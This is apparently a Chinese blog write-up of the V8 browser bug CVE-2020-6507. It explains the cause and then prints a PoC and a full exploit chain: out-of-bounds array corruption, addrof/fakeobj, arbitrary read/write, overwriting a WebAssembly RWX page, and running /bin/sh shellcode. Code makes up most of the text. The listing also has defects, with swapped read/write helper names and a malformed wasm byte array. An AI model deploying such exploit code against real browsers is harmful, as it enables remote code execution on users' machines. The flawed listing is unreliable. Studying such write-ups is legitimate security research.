browser CVE-2020-6507

绕过指针压缩

使用ArrayBuffer写入shellcode:
比较新的v8指针占4个字节,用寄存器+指针联合表示,而最后写shellcode时,需要写到rwx段,此时不能使用read_any(应该是由于浮点数以及Bigint等写入时的问题),此时可以使用ArrayBuffer
,ArrayBuffer的backing_store为8字节指针,将backing_store修改为rwx_page,此时使用data_view的setBigUint64就可以成功绕过
tips: 需要注意backing_store的偏移是0x14n。
泄露地址:
创建BigUint64Array,其中external_pointer和base_pointer可以泄露。并可以任意读。

CVE产生原因

漏洞成因详情可以见:https://bugs.chromium.org/p/chromium/issues/detail?id=1086890
POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);

args.push(Array(0x40000 - 4).fill(2.2));

giant_array = Array.prototype.concat.apply([], args);//0xff * 0x40000 = 0x3FC0000 0x3FC0000 + 0x40000 - 5 = 0x3FFFFFB



giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {

var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;

return [corrupting_array, corrupted_array];

}

for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}


corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));

//corrupted_array[0x123456];

简单来说,漏洞成因是新引进的’NewFixedArray’ 和 ‘NewFixedDoubleArray’ 缺少长度检查,但是这两个数组的长度有个最大值为67108862,此时,缺少长度
检查,还无法利用,但正好tuoque的代码优化中,会取数组的最大长度,不考虑实际长度,此时就会发生数组越界。
优化次数可以参考poc。这个POC中修改的偏移为长度,但是此时会将element一起修改,如果只是简单的本地复现的话,element可以修改为对应的element,也可以复现成功

思路

1.利用obj = {“a”: 2.1};并控制好偏移,从而修改length,不改变element
2.泄露array_map和double_map
3.伪造obj通过fake_obj写出write_any和read_any
4.需要在函数中编写泄露map之后的exp,这样不会影响原本的布局
5.使用wasm getshell
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}

function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function itof(i)
{
bigUint64[0] = i;
return f64[0];
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];

function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
oob[x] = length_as_double; // fake length
}

var vul = [1.1, 2.1];
var pad = [vul];
var double_array = [3.1];
var obj = {"a": 2.1};
var obj_array = [obj];

for (let i = 0; i < 30000; ++i) {
vul = [1.1, 2.1];
pad = [vul];
double_array = [3.1];
obj = {"a": 2.1};
obj_array = [obj];
trigger(giant_array, vul);
}

var double_map = double_array[1];
var array_map = double_array[8];

console.log("double_map = 0x" + hex(ftoi(double_map)));
console.log("array_map = 0x" + hex(ftoi(array_map)));

function leak_ad_obj(obj_leak)
{
obj_array[0] = obj_leak;
double_array[8] = double_map;
let leak_ad = obj_array[0];
double_array[8] = array_map;
return leak_ad;
}

function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake);
double_array[1] = array_map;
let faked_obj = double_array[0];
return faked_obj;
}

function exp()
{
let fake_obj = [double_map,array_map,2.2];
let fa_ad = ftoi(leak_ad_obj(fake_obj)) - 0x18n;

console.log("fake_ad: 0x" + hex(fa_ad));

let fake_obj_1 = fakeObj(fa_ad);

function write_any(ad)
{
fake_obj[1] = itof(ftoi(ad) - 0x8n);
let leak_ad = fake_obj_1[0];
return leak_ad;
}

function read_any(ad,data)
{
fake_obj[1] = itof(ftoi(ad) - 0x8n);
fake_obj_1[0] = itof(data);
}


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,121,288,,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var d = leak_ad_obj(f);
var sharefunctioninfo = write_any(itof(ftoi(d) + 0xcn));
var wasmexportedfunctiondata = write_any(itof(ftoi(sharefunctioninfo) + 0x4n));
var instance = write_any(itof(ftoi(wasmexportedfunctiondata) + 0x8n));
var test_ad = itof(ftoi(instance) + 0x68n + 0x222200000000n);
var rwx_page = write_any(test_ad);


var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var addr = leak_ad_obj(data_buf);

console.log("rwx_page: 0x" + hex(ftoi(rwx_page)));

var shellcode=[
0x6e69622fbb48f631n,
0x5f54535668732f2fn,
0x050fd231583b6an
];

read_any(itof(ftoi(addr) + 0x14n),ftoi(rwx_page));

for (let i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();
}

exp();

总结

这个CVE复现的难点在于修改全局变量等会改变原本的变量布局,产生segment fault,至于其他的关于偏移等问题,都可以通过调试解决,需要注意一下细节。